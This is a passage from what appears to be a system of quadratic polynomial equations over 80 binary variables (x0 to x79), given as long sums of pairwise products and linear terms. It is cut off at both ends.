x25*x74 + x25*x76 + x25*x78 + x25 + x26*x27 + x26*x28 + x26*x29 + x26*x30 + x26*x34 + x26*x35 + x26*x41 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x48 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x54 + x26*x55 + x26*x56 + x26*x61 + x26*x62 + x26*x63 + x26*x64 + x26*x67 + x26*x70 + x26*x73 + x26*x74 + x26*x75 + x26*x77 + x26*x79 + x26 + x27*x28 + x27*x30 + x27*x32 + x27*x33 + x27*x34 + x27*x35 + x27*x36 + x27*x37 + x27*x38 + x27*x39 + x27*x41 + x27*x44 + x27*x48 + x27*x50 + x27*x51 + x27*x54 + x27*x55 + x27*x59 + x27*x61 + x27*x62 + x27*x64 + x27*x65 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x73 + x27*x76 + x27*x77 + x27*x79 + x28*x29 + x28*x30 + x28*x31 + x28*x32 + x28*x33 + x28*x34 + x28*x36 + x28*x39 + x28*x41 + x28*x43 + x28*x45 + x28*x49 + x28*x50 + x28*x52 + x28*x54 + x28*x58 + x28*x60 + x28*x62 + x28*x63 + x28*x64 + x28*x66 + x28*x67 + x28*x69 + x28*x70 + x28*x71 + x28*x73 + x28*x74 + x28*x75 + x29*x31 + x29*x33 + x29*x35 + x29*x37 + x29*x38 + x29*x40 + x29*x42 + x29*x46 + x29*x48 + x29*x49 + x29*x51 + x29*x54 + x29*x57 + x29*x58 + x29*x59 + x29*x60 + x29*x61 + x29*x62 + x29*x65 + x29*x67 + x29*x69 + x29*x73 + x29*x75 + x29*x77 + x29*x78 + x29*x79 + x30*x32 + x30*x35 + x30*x39 + x30*x42 + x30*x43 + x30*x44 + x30*x45 + x30*x47 + x30*x49 + x30*x52 + x30*x54 + x30*x60 + x30*x62 + x30*x63 + x30*x64 + x30*x65 + x30*x69 + x30*x70 + x30*x71 + x30*x72 + x30*x73 + x30*x74 + x30*x76 + x30*x77 + x30 + x31*x33 + x31*x36 + x31*x38 + x31*x40 + x31*x46 + x31*x47 + x31*x51 + x31*x53 + x31*x54 + x31*x56 + x31*x57 + x31*x58 + x31*x62 + x31*x65 + x31*x66 + x31*x70 + x31*x71 + x31*x74 + x31*x75 + x31*x79 + x32*x33 + x32*x34 + x32*x35 + x32*x38 + x32*x40 + x32*x41 + x32*x42 + x32*x45 + x32*x48 + x32*x49 + x32*x51 + x32*x55 + x32*x56 + x32*x61 + x32*x63 + x32*x64 + x32*x65 + x32*x67 + x32*x68 + x32*x69 + x32*x70 + x32*x71 + x32*x74 + x32*x77 + x32 + x33*x34 + x33*x35 + x33*x36 + x33*x38 + x33*x40 + x33*x41 + x33*x44 + x33*x45 + x33*x46 + x33*x49 + x33*x50 + x33*x53 + x33*x54 + x33*x55 + x33*x56 + x33*x57 + x33*x59 + x33*x61 + x33*x62 + x33*x64 + x33*x67 + x33*x70 + x33*x73 + x33*x74 + x33*x75 + x33*x76 + x33*x78 + x33 + x34*x35 + x34*x36 + x34*x37 + x34*x41 + x34*x42 + x34*x43 + x34*x45 + x34*x49 + x34*x50 + x34*x57 + x34*x58 + x34*x65 + x34*x67 + x34*x68 + x34*x74 + x34*x75 + x34*x77 + x34 + x35*x39 + x35*x45 + x35*x46 + x35*x47 + x35*x48 + x35*x49 + x35*x52 + x35*x53 + x35*x54 + x35*x55 + x35*x56 + x35*x59 + x35*x60 + x35*x61 + x35*x63 + x35*x64 + x35*x66 + x35*x67 + x35*x68 + x35*x71 + x35*x74 + x35*x79 + x36*x37 + x36*x40 + x36*x41 + x36*x43 + x36*x48 + x36*x49 + x36*x53 + x36*x54 + x36*x56 + x36*x57 + x36*x58 + x36*x60 + x36*x62 + x36*x63 + x36*x64 + x36*x65 + x36*x67 + x36*x70 + x36*x72 + x36*x73 + x36*x74 + x36*x75 + x36*x77 + x36*x78 + x37*x38 + x37*x39 + x37*x40 + x37*x41 + x37*x43 + x37*x46 + x37*x48 + x37*x50 + x37*x54 + x37*x56 + x37*x57 + x37*x60 + x37*x63 + x37*x64 + x37*x65 + x37*x70 + x37*x73 + x37*x74 + x37*x75 + x37 + x38*x41 + x38*x42 + x38*x44 + x38*x46 + x38*x50 + x38*x51 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x61 + x38*x62 + x38*x65 + x38*x68 + x38*x71 + x38*x74 + x38*x79 + x38 + x39*x40 + x39*x41 + x39*x42 + x39*x45 + x39*x48 + x39*x50 + x39*x51 + x39*x57 + x39*x58 + x39*x59 + x39*x60 + x39*x62 + x39*x63 + x39*x65 + x39*x66 + x39*x67 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x74 + x39*x75 + x39*x77 + x39*x78 + x39*x79 + x40*x42 + x40*x46 + x40*x48 + x40*x49 + x40*x51 + x40*x53 + x40*x54 + x40*x56 + x40*x57 + x40*x58 + x40*x61 + x40*x63 + x40*x64 + x40*x65 + x40*x67 + x40*x69 + x40*x72 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x41*x43 + x41*x45 + x41*x46 + x41*x47 + x41*x48 + x41*x49 + x41*x51 + x41*x52 + x41*x53 + x41*x55 + x41*x56 + x41*x58 + x41*x59 + x41*x60 + x41*x61 + x41*x62 + x41*x65 + x41*x66 + x41*x68 + x41*x70 + x41*x71 + x41*x73 + x41*x74 + x41*x76 + x41*x78 + x41*x79 + x41 + x42*x45 + x42*x47 + x42*x49 + x42*x50 + x42*x51 + x42*x52 + x42*x54 + x42*x56 + x42*x58 + x42*x59 + x42*x60 + x42*x61 + x42*x62 + x42*x63 + x42*x64 + x42*x65 + x42*x66 + x42*x70 + x42*x71 + x42*x72 + x42*x77 + x42*x78 + x42*x79 + x43*x46 + x43*x47 + x43*x50 + x43*x55 + x43*x56 + x43*x57 + x43*x59 + x43*x60 + x43*x63 + x43*x64 + x43*x69 + x43*x72 + x43*x74 + x43*x75 + x43*x78 + x43 + x44*x47 + x44*x52 + x44*x57 + x44*x59 + x44*x60 + x44*x61 + x44*x62 + x44*x63 + x44*x64 + x44*x66 + x44*x69 + x44*x72 + x44*x74 + x44*x75 + x44*x77 + x44*x79 + x45*x46 + x45*x49 + x45*x51 + x45*x52 + x45*x57 + x45*x59 + x45*x61 + x45*x62 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x73 + x45*x74 + x45*x76 + x45*x77 + x46*x47 + x46*x50 + x46*x52 + x46*x53 + x46*x56 + x46*x57 + x46*x59 + x46*x60 + x46*x64 + x46*x66 + x46*x67 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x73 + x46*x76 + x46*x78 + x46 + x47*x48 + x47*x50 + x47*x51 + x47*x54 + x47*x58 + x47*x59 + x47*x60 + x47*x61 + x47*x65 + x47*x68 + x47*x73 + x47*x76 + x47 + x48*x49 + x48*x51 + x48*x52 + x48*x53 + x48*x62 + x48*x70 + x48*x71 + x48*x73 + x48*x78 + x48*x79 + x49*x50 + x49*x51 + x49*x52 + x49*x54 + x49*x56 + x49*x57 + x49*x58 + x49*x59 + x49*x60 + x49*x65 + x49*x66 + x49*x69 + x49*x70 + x49*x71 + x49*x73 + x49*x74 + x49*x76 + x49*x77 + x49*x78 + x49*x79 + x50*x51 + x50*x52 + x50*x54 + x50*x56 + x50*x57 + x50*x61 + x50*x63 + x50*x64 + x50*x67 + x50*x68 + x50*x70 + x50*x72 + x50*x74 + x50*x76 + x50*x77 + x50*x78 + x50*x79 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x58 + x51*x59 + x51*x61 + x51*x62 + x51*x63 + x51*x66 + x51*x69 + x51*x70 + x51*x72 + x51*x73 + x51*x74 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x55 + x52*x58 + x52*x62 + x52*x63 + x52*x70 + x52*x73 + x52*x75 + x52*x77 + x52*x78 + x52 + x53*x55 + x53*x56 + x53*x65 + x53*x73 + x53*x74 + x53*x75 + x53*x76 + x53*x79 + x53 + x54*x55 + x54*x59 + x54*x61 + x54*x63 + x54*x66 + x54*x69 + x54*x71 + x54*x72 + x54*x73 + x54*x76 + x55*x57 + x55*x59 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x64 + x55*x66 + x55*x69 + x55*x70 + x55*x71 + x55*x73 + x55*x74 + x55*x75 + x55*x76 + x55*x78 + x55*x79 + x56*x60 + x56*x61 + x56*x63 + x56*x69 + x56*x70 + x56*x71 + x56*x73 + x56*x77 + x56*x78 + x57*x59 + x57*x62 + x57*x63 + x57*x65 + x57*x70 + x57*x71 + x57*x73 + x57*x75 + x57*x76 + x57*x77 + x57*x78 + x57 + x58*x59 + x58*x62 + x58*x63 + x58*x66 + x58*x67 + x58*x71 + x58*x74 + x58*x75 + x58*x77 + x58*x78 + x59*x60 + x59*x65 + x59*x69 + x59*x71 + x59*x72 + x59*x75 + x59*x77 + x59*x79 + x59 + x60*x61 + x60*x62 + x60*x63 + x60*x64 + x60*x66 + x60*x68 + x60*x70 + x60*x71 + x60*x74 + x60*x79 + x61*x62 + x61*x63 + x61*x65 + x61*x67 + x61*x69 + x61*x70 + x61*x72 + x61*x73 + x61*x74 + x61*x75 + x61*x78 + x61*x79 + x62*x64 + x62*x65 + x62*x68 + x62*x72 + x62*x73 + x62*x74 + x62*x77 + x62*x79 + x62 + x63*x65 + x63*x69 + x63*x70 + x63*x71 + x63*x72 + x63*x73 + x63*x74 + x63*x76 + x63*x77 + x63*x79 + x64*x65 + x64*x68 + x64*x69 + x64*x70 + x64*x71 + x64*x72 + x64*x73 + x64*x74 + x64*x75 + x64*x76 + x64*x79 + x64 + x65*x66 + x65*x67 + x65*x69 + x65*x70 + x65*x74 + x65*x75 + x65*x76 + x65*x79 + x66*x72 + x66*x73 + x66*x74 + x66*x76 + x66*x77 + x66 + x67*x72 + x67*x74 + x67*x79 + x68*x69 + x68*x70 + x68*x72 + x68*x76 + x68*x77 + x68 + x69*x73 + x69*x76 + x69*x79 + x69 + x70*x71 + x70*x72 + x70*x76 + x70*x78 + x70*x79 + x71*x72 + x71*x75 + x71*x76 + x71*x77 + x72*x73 + x72*x75 + x72*x76 + x72 + x73*x75 + x73*x77 + x73*x79 + x73 + x74*x76 + x74*x77 + x74*x79 + x74 + x75*x77 + x76 + x77*x78 + x77*x79 + x78*x79 + x78 + x79 + 1, x0*x1 + x0*x5 + x0*x10 + x0*x14 + x0*x15 + x0*x18 + x0*x19 + x0*x20 + x0*x21 + x0*x22 + x0*x25 + x0*x26 + x0*x27 + x0*x28 + x0*x29 + x0*x32 + x0*x33 + x0*x34 + x0*x35 + x0*x36 + x0*x37 + x0*x39 + x0*x41 + x0*x44 + x0*x45 + x0*x47 + x0*x49 + x0*x50 + x0*x52 + x0*x53 + x0*x54 + x0*x55 + x0*x56 + x0*x57 + x0*x58 + x0*x59 + x0*x62 + x0*x63 + x0*x64 + x0*x66 + x0*x68 + x0*x70 + x0*x72 + x0*x73 + x0*x74 + x0*x75 + x0*x77 + x0*x79 + x0 + x1*x4 + x1*x5 + x1*x12 + x1*x13 + x1*x15 + x1*x16 + x1*x17 + x1*x20 + x1*x23 + x1*x24 + x1*x26 + x1*x27 + x1*x29 + x1*x32 + x1*x33 + x1*x35 + x1*x38 + x1*x40 + x1*x44 + x1*x46 + x1*x48 + x1*x50 + x1*x52 + x1*x55 + x1*x57 + x1*x58 + x1*x59 + x1*x60 + x1*x62 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x70 + x1*x71 + x1*x73 + x1*x74 + x1*x75 + x1*x78 + x1 + x2*x4 + x2*x5 + x2*x6 + x2*x7 + x2*x9 + x2*x11 + x2*x12 + x2*x14 + x2*x15 + x2*x17 + x2*x19 + x2*x23 + x2*x24 + x2*x26 + x2*x27 + x2*x30 + x2*x34 + x2*x35 + x2*x37 + x2*x39 + x2*x40 + x2*x45 + x2*x48 + x2*x49 + x2*x51 + x2*x53 + x2*x54 + x2*x55 + x2*x56 + x2*x58 + x2*x62 + x2*x64 + x2*x65 + x2*x66 + x2*x68 + x2*x69 + x2*x74 + x2*x78 + x2 + x3*x6 + x3*x11 + x3*x12 + x3*x16 + x3*x19 + x3*x20 + x3*x21 + x3*x23 + x3*x24 + x3*x27 + x3*x33 + x3*x38 + x3*x47 + x3*x49 + x3*x51 + x3*x54 + x3*x59 + x3*x61 + x3*x62 + x3*x64 + x3*x65 + x3*x66 + x3*x68 + x3*x69 + x3*x73 + x3*x75 + x3*x77 + x3 + x4*x6 + x4*x7 + x4*x8 + x4*x10 + x4*x13 + x4*x15 + x4*x16 + x4*x19 + x4*x22 + x4*x25 + x4*x26 + x4*x27 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x32 + x4*x34 + x4*x37 + x4*x40 + x4*x41 + x4*x43 + x4*x44 + x4*x45 + x4*x46 + x4*x47 + x4*x48 + x4*x51 + x4*x53 + x4*x54 + x4*x55 + x4*x56 + x4*x60 + x4*x61 + x4*x62 + x4*x63 + x4*x64 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x78 + x4*x79 + x4 + x5*x6 + x5*x9 + x5*x10 + x5*x13 + x5*x15 + x5*x16 + x5*x21 + x5*x24 + x5*x29 + x5*x31 + x5*x32 + x5*x37 + x5*x38 + x5*x39 + x5*x41 + x5*x44 + x5*x48 + x5*x51 + x5*x53 + x5*x57 + x5*x61 + x5*x65 + x5*x66 + x5*x71 + x5*x73 + x5*x75 + x5*x76 + x5*x78 + x6*x8 + x6*x21 + x6*x22 + x6*x23 + x6*x24 + x6*x25 + x6*x29 + x6*x30 + x6*x32 + x6*x34 + x6*x35 + x6*x36 + x6*x39 + x6*x42 + x6*x44 + x6*x45 + x6*x46 + x6*x50 + x6*x51 + x6*x52 + x6*x63 + x6*x65 + x6*x66 + x6*x68 + x6*x69 + x6*x72 + x6*x74 + x6*x77 + x6*x78 + x6*x79 + x7*x8 + x7*x9 + x7*x10 + x7*x13 + x7*x14 + x7*x15 + x7*x16 + x7*x17 + x7*x19 + x7*x20 + x7*x22 + x7*x24 + x7*x27 + x7*x29 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x35 + x7*x36 + x7*x37 + x7*x39 + x7*x41 + x7*x42 + x7*x43 + x7*x44 + x7*x45 + x7*x49 + x7*x52 + x7*x54 + x7*x55 + x7*x57 + x7*x58 + x7*x60 + x7*x68 + x7*x69 + x7*x71 + x7*x73 + x7*x74 + x7*x76 + x7*x78 + x8*x9 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x17 + x8*x21 + x8*x22 + x8*x24 + x8*x26 + x8*x27 + x8*x28 + x8*x31 + x8*x32 + x8*x33 + x8*x34 + x8*x35 + x8*x36 + x8*x39 + x8*x41 + x8*x43 + x8*x45 + x8*x46 + x8*x47 + x8*x48 + x8*x49 + x8*x51 + x8*x54 + x8*x55 + x8*x59 + x8*x60 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x66 + x8*x69 + x8*x70 + x8*x72 + x8*x73 + x8*x74 + x8*x78 + x8*x79 + x9*x10 + x9*x11 + x9*x13 + x9*x15 + x9*x17 + x9*x19 + x9*x22 + x9*x25 + x9*x27 + x9*x30 + x9*x31 + x9*x34 + x9*x36 + x9*x37 + x9*x38 + x9*x40 + x9*x42 + x9*x43 + x9*x44 + x9*x46 + x9*x47 + x9*x48 + x9*x50 + x9*x54 + x9*x55 + x9*x59 + x9*x60 + x9*x65 + x9*x66 + x9*x67 + x9*x68 + x9*x70 + x9*x71 + x9*x72 + x9*x77 + x9*x78 + x10*x11 + x10*x12 + x10*x13 + x10*x14 + x10*x15 + x10*x18 + x10*x19 + x10*x20 + x10*x23 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x31 + x10*x32 + x10*x34 + x10*x36 + x10*x37 + x10*x39 + x10*x45 + x10*x48 + x10*x49 + x10*x51 + x10*x52 + x10*x53 + x10*x55 + x10*x61 + x10*x64 + x10*x65 + x10*x66 + x10*x67 + x10*x69 + x10*x71 + x10*x72 + x10*x75 + x10*x77 + x11*x13 + x11*x14 + x11*x16 + x11*x17 + x11*x18 + x11*x21 + x11*x25 + x11*x26 + x11*x30 + x11*x34 + x11*x37 + x11*x42 + x11*x43 + x11*x44 + x11*x45 + x11*x46 + x11*x49 + x11*x51 + x11*x52 + x11*x55 + x11*x57 + x11*x58 + x11*x59 + x11*x63 + x11*x64 + x11*x65 + x11*x66 + x11*x67 + x11*x72 + x11*x73 + x11*x76 + x11*x77 + x11 + x12*x16 + x12*x17 + x12*x23 + x12*x27 + x12*x30 + x12*x31 + x12*x35 + x12*x37 + x12*x38 + x12*x39 + x12*x42 + x12*x44 + x12*x45 + x12*x46 + x12*x48 + x12*x50 + x12*x51 + x12*x52 + x12*x54 + x12*x58 + x12*x59 + x12*x60 + x12*x62 + x12*x64 + x12*x69 + x12*x72 + x12*x75 + x12*x76 + x12*x77 + x12*x79 + x12 + x13*x15 + x13*x19 + x13*x20 + x13*x21 + x13*x22 + x13*x25 + x13*x26 + x13*x28 + x13*x30 + x13*x31 + x13*x32 + x13*x33 + x13*x35 + x13*x37 + x13*x39 + x13*x41 + x13*x42 + x13*x44 + x13*x45 + x13*x48 + x13*x50 + x13*x51 + x13*x53 + x13*x54 + x13*x56 + x13*x57 + x13*x59 + x13*x65 + x13*x66 + x13*x67 + x13*x71 + x13*x76 + x13*x77 + x14*x19 + x14*x21 + x14*x27 + x14*x28 + x14*x29 + x14*x32 + x14*x34 + x14*x38 + x14*x39 + x14*x41 + x14*x43 + x14*x45 + x14*x46 + x14*x47 + x14*x49 + x14*x50 + x14*x52 + x14*x60 + x14*x61 + x14*x62 + x14*x66 + x14*x67 + x14*x68 + x14*x69 + x14*x71 + x14*x72 + x14*x74 + x14*x76 + x15*x16 + x15*x17 + x15*x19 + x15*x20 + x15*x21 + x15*x26 + x15*x27 + x15*x28 + x15*x29 + x15*x30 + x15*x36 + x15*x37 + x15*x39 + x15*x40 + x15*x42 + x15*x46 + x15*x47 + x15*x48 + x15*x49 + x15*x50 + x15*x51 + x15*x53 + x15*x54 + x15*x62 + x15*x64 + x15*x67 + x15*x69 + x15*x73 + x15*x74 + x15*x77 + x15*x78 + x16*x17 + x16*x18 + x16*x19 + x16*x20 + x16*x21 + x16*x22 + x16*x25 + x16*x30 + x16*x32 + x16*x34 + x16*x35 + x16*x37 + x16*x39 + x16*x40 + x16*x42 + x16*x43 + x16*x44 + x16*x45 + x16*x48 + x16*x49 + x16*x50 + x16*x51 + x16*x55 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x65 + x16*x68 + x16*x70 + x16*x73 + x16*x74 + x16*x75 + x16*x77 + x16*x78 + x16*x79 + x16 + x17*x19 + x17*x23 + x17*x26 + x17*x28 + x17*x29 + x17*x31 + x17*x32 + x17*x36 + x17*x38 + x17*x41 + x17*x42 + x17*x43 + x17*x44 + x17*x46 + x17*x47 + x17*x50 + x17*x53 + x17*x55 + x17*x56 + x17*x57 + x17*x58 + x17*x59 + x17*x60 + x17*x65 + x17*x66 + x17*x68 + x17*x70 + x17*x71 + x17*x72 + x17*x73 + x17*x74 + x17*x78 + x18*x19 + x18*x21 + x18*x24 + x18*x25 + x18*x29 + x18*x31 + x18*x34 + x18*x38 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x45 + x18*x48 + x18*x49 + x18*x50 + x18*x51 + x18*x53 + x18*x54 + x18*x55 + x18*x56 + x18*x57 + x18*x59 + x18*x60 + x18*x61 + x18*x63 + x18*x64 + x18*x65 + x18*x67 + x18*x69 + x18*x70 + x18*x71 + x18*x75 + x18*x76 + x18*x79 + x19*x20 + x19*x21 + x19*x22 + x19*x29 + x19*x31 + x19*x32 + x19*x33 + x19*x34 + x19*x37 + x19*x38 + x19*x40 + x19*x42 + x19*x43 + x19*x45 + x19*x47 + x19*x49 + x19*x51 + x19*x53 + x19*x54 + x19*x56 + x19*x57 + x19*x58 + x19*x60 + x19*x62 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x69 + x19*x71 + x19*x73 + x19*x74 + x19*x78 + x20*x22 + x20*x23 + x20*x24 + x20*x25 + x20*x27 + x20*x28 + x20*x29 + x20*x30 + x20*x40 + x20*x41 + x20*x42 + x20*x43 + x20*x46 + x20*x47 + x20*x48 + x20*x53 + x20*x54 + x20*x57 + x20*x58 + x20*x59 + x20*x60 + x20*x65 + x20*x69 + x20*x71 + x20*x72 + x20*x73 + x20*x76 + x20*x78 + x20*x79 + x20 + x21*x22 + x21*x23 + x21*x28 + x21*x29 + x21*x30 + x21*x33 + x21*x35 + x21*x36 + x21*x37 + x21*x40 + x21*x41 + x21*x42 + x21*x44 + x21*x46 + x21*x49 + x21*x50 + x21*x51 + x21*x52 + x21*x53 + x21*x55 + x21*x56 + x21*x57 + x21*x59 + x21*x60 + x21*x63 + x21*x69 + x21*x73 + x21*x74 + x21*x75 + x21*x78 + x21*x79 + x21 + x22*x23 + x22*x26 + x22*x28 + x22*x29 + x22*x30 + x22*x32 + x22*x33 + x22*x34 + x22*x36 + x22*x38 + x22*x41 + x22*x47 + x22*x49 + x22*x50 + x22*x52 + x22*x53 + x22*x56 + x22*x57 + x22*x58 + x22*x59 + x22*x60 + x22*x63 + x22*x64 + x22*x67 + x22*x68 + x22*x70 + x22*x75 + x22*x77 + x22*x78 + x22 + x23*x24 + x23*x26 + x23*x28 + x23*x31 + x23*x35 + x23*x39 + x23*x40 + x23*x41 + x23*x42 + x23*x45 + x23*x46 + x23*x47 + x23*x51 + x23*x53 + x23*x55 + x23*x56 + x23*x60 + x23*x61 + x23*x62 + x23*x63 + x23*x64 + x23*x65 + x23*x66 + x23*x67 + x23*x68 + x23*x69 + x23*x70 + x23*x71 + x23*x73 + x23*x79 + x23 + x24*x26 + x24*x27 + x24*x29 + x24*x31 + x24*x34 + x24*x36 + x24*x39 + x24*x42 + x24*x43 + x24*x44 + x24*x45 + x24*x46 + x24*x48 + x24*x49 + x24*x52 + x24*x56 + x24*x58 + x24*x62 + x24*x63 + x24*x64 + x24*x65 + x24*x66 + x24*x74 + x24*x75 + x24*x76 + x24*x77 + x24*x78 + x25*x26 + x25*x27 + x25*x28 + x25*x30 + x25*x34 + x25*x35 + x25*x36 + x25*x37 + x25*x40 + x25*x41 + x25*x43 + x25*x45 + x25*x47 + x25*x48 + x25*x50 + x25*x51 + x25*x54 + x25*x58 + x25*x61 + x25*x64 + x25*x67 + x25*x68 + x25*x69 + x25*x72 + x25*x73 + x25*x77 + x25 + x26*x27 + x26*x28 + x26*x29 + x26*x31 + x26*x35 + x26*x36 + x26*x38 + x26*x40 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x47 + x26*x50 + x26*x51 + x26*x53 + x26*x55 + x26*x59 + x26*x61 + x26*x63 + x26*x66 + x26*x70 + x26*x74 + x26*x75 + x26*x78 + x26*x79 + x26 + x27*x29 + x27*x31 + x27*x32 + x27*x34 + x27*x35 + x27*x38 + x27*x39 + x27*x40 + x27*x43 + x27*x45 + x27*x52 + x27*x54 + x27*x56 + x27*x59 + x27*x60 + x27*x61 + x27*x63 + x27*x64 + x27*x65 + x27*x69 + x27*x73 + x27*x74 + x27*x75 + x27*x76 + x27*x77 + x27*x79 + x27 + x28*x29 + x28*x30 + x28*x32 + x28*x36 + x28*x40 + x28*x42 + x28*x46 + x28*x47 + x28*x48 + x28*x52 + x28*x53 + x28*x56 + x28*x59 + x28*x60 + x28*x61 + x28*x67 + x28*x69 + x28*x72 + x28*x74 + x28*x75 + x28*x79 + x28 + x29*x31 + x29*x33 + x29*x35 + x29*x36 + x29*x37 + x29*x42 + x29*x44 + x29*x45 + x29*x51 + x29*x52 + x29*x56 + x29*x57 + x29*x58 + x29*x61 + x29*x62 + x29*x67 + x29*x69 + x29*x74 + x29*x75 + x29*x76 + x29*x77 + x29*x78 + x30*x31 + x30*x33 + x30*x34 + x30*x36 + x30*x37 + x30*x38 + x30*x39 + x30*x41 + x30*x42 + x30*x43 + x30*x45 + x30*x47 + x30*x48 + x30*x49 + x30*x50 + x30*x51 + x30*x53 + x30*x56 + x30*x57 + x30*x58 + x30*x60 + x30*x63 + x30*x65 + x30*x67 + x30*x68 + x30*x69 + x30*x71 + x30*x72 + x30*x74 + x30*x78 + x30*x79 + x31*x32 + x31*x33 + x31*x36 + x31*x37 + x31*x39 + x31*x40 + x31*x41 + x31*x43 + x31*x44 + x31*x47 + x31*x51 + x31*x52 + x31*x54 + x31*x55 + x31*x57 + x31*x58 + x31*x59 + x31*x60 + x31*x62 + x31*x64 + x31*x65 + x31*x68 + x31*x71 + x32*x34 + x32*x35 + x32*x37 + x32*x38 + x32*x39 + x32*x42 + x32*x43 + x32*x45 + x32*x46 + x32*x48 + x32*x50 + x32*x52 + x32*x53 + x32*x54 + x32*x55 + x32*x56 + x32*x62 + x32*x64 + x32*x67 + x32*x68 + x32*x73 + x32*x74 + x32*x75 + x33*x35 + x33*x38 + x33*x39 + x33*x40 + x33*x41 + x33*x43 + x33*x45 + x33*x46 + x33*x48 + x33*x50 + x33*x52 + x33*x55 + x33*x57 + x33*x59 + x33*x62 + x33*x63 + x33*x66 + x33*x68 + x33*x69 + x33*x71 + x33*x72 + x33*x74 + x33*x78 + x34*x36 + x34*x40 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x46 + x34*x47 + x34*x48 + x34*x49 + x34*x52 + x34*x55 + x34*x58 + x34*x59 + x34*x60 + x34*x61 + x34*x63 + x34*x65 + x34*x66 + x34*x68 + x34*x74 + x34*x75 + x34*x76 + x34*x77 + x34*x78 + x34 + x35*x42 + x35*x43 + x35*x44 + x35*x46 + x35*x48 + x35*x49 + x35*x50 + x35*x51 + x35*x52 + x35*x53 + x35*x58 + x35*x59 + x35*x60 + x35*x61 + x35*x62 + x35*x63 + x35*x64 + x35*x67 + x35*x69 + x35*x70 + x35*x73 + x35*x75 + x35*x76 + x35*x78 + x35 + x36*x37 + x36*x39 + x36*x40 + x36*x41 + x36*x45 + x36*x46 + x36*x47 + x36*x49 + x36*x50 + x36*x51 + x36*x53 + x36*x54 + x36*x56 + x36*x57 + x36*x60 + x36*x61 + x36*x63 + x36*x65 + x36*x68 + x36*x71 + x36*x73 + x36*x74 + x36*x78 + x36*x79 + x37*x38 + x37*x39 + x37*x40 + x37*x41 + x37*x43 + x37*x44 + x37*x46 + x37*x47 + x37*x48 + x37*x50 + x37*x51 + x37*x53 + x37*x54 + x37*x57 + x37*x61 + x37*x64 + x37*x65 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x71 + x37*x72 + x37*x73 + x37*x74 + x37*x76 + x37*x77 + x37*x79 + x38*x41 + x38*x42 + x38*x46 + x38*x51 + x38*x52 + x38*x53 + x38*x56 + x38*x58 + x38*x59 + x38*x62 + x38*x65 + x38*x67 + x38*x69 + x38*x72 + x38*x73 + x38*x74 + x38*x75 + x38*x77 + x38*x78 + x38*x79 + x38 + x39*x42 + x39*x45 + x39*x46 + x39*x48 + x39*x50 + x39*x51 + x39*x59 + x39*x62 + x39*x64 + x39*x65 + x39*x69 + x39*x70 + x39*x71 + x39*x73 + x39*x74 + x39*x75 + x39*x76 + x39*x77 + x40*x41 + x40*x42 + x40*x43 + x40*x45 + x40*x47 + x40*x49 + x40*x53 + x40*x54 + x40*x55 + x40*x57 + x40*x60 + x40*x62 + x40*x63 + x40*x65 + x40*x67 + x40*x68 + x40*x70 + x40*x71 + x40*x73 + x40*x76 + x40*x77 + x41*x42 + x41*x43 + x41*x48 + x41*x53 + x41*x59 + x41*x61 + x41*x63 + x41*x66 + x41*x68 + x41*x69 + x41*x72 + x41*x73 + x41*x76 + x41*x77 + x41*x78 + x41*x79 + x41 + x42*x43 + x42*x45 + x42*x46 + x42*x49 + x42*x50 + x42*x52 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x61 + x42*x63 + x42*x65 + x42*x67 + x42*x68 + x42*x71 + x42*x72 + x42*x73 + x42*x74 + x42*x76 + x42*x79 + x43*x44 + x43*x47 + x43*x50 + x43*x51 + x43*x54 + x43*x55 + x43*x58 + x43*x59 + x43*x61 + x43*x62 + x43*x63 + x43*x67 + x43*x68 + x43*x69 + x43*x71 + x43*x73 + x43*x77 + x43 + x44*x45 + x44*x47 + x44*x49 + x44*x51 + x44*x53 + x44*x56 + x44*x57 + x44*x59 + x44*x62 + x44*x63 + x44*x64 + x44*x65 + x44*x67 + x44*x68 + x44*x69 + x44*x70 + x44*x71 + x44*x72 + x44*x73 + x44*x74 + x44*x75 + x44*x77 + x44*x78 + x45*x46 + x45*x48 + x45*x51 + x45*x53 + x45*x55 + x45*x57 + x45*x59 + x45*x61 + x45*x63 + x45*x64 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x71 + x45*x72 + x45*x74 + x45 + x46*x50 + x46*x53 + x46*x54 + x46*x55 + x46*x57 + x46*x58 + x46*x59 + x46*x61 + x46*x63 + x46*x66 + x46*x67 + x46*x68 + x46*x69 + x46*x72 + x46*x73 + x46*x74 + x46*x77 + x46*x78 + x46 + x47*x48 + x47*x49 + x47*x52 + x47*x58 + x47*x59 + x47*x61 + x47*x63 + x47*x68 + x47*x69 + x47*x71 + x47*x72 + x47*x73 + x47*x75 + x47*x76 + x47*x79 + x48*x51 + x48*x54 + x48*x56 + x48*x58 + x48*x59 + x48*x60 + x48*x61 + x48*x62 + x48*x63 + x48*x64 + x48*x68 + x48*x70 + x48*x71 + x48*x74 + x48*x75 + x48*x78 + x48*x79 + x49*x50 + x49*x53 + x49*x55 + x49*x56 + x49*x57 + 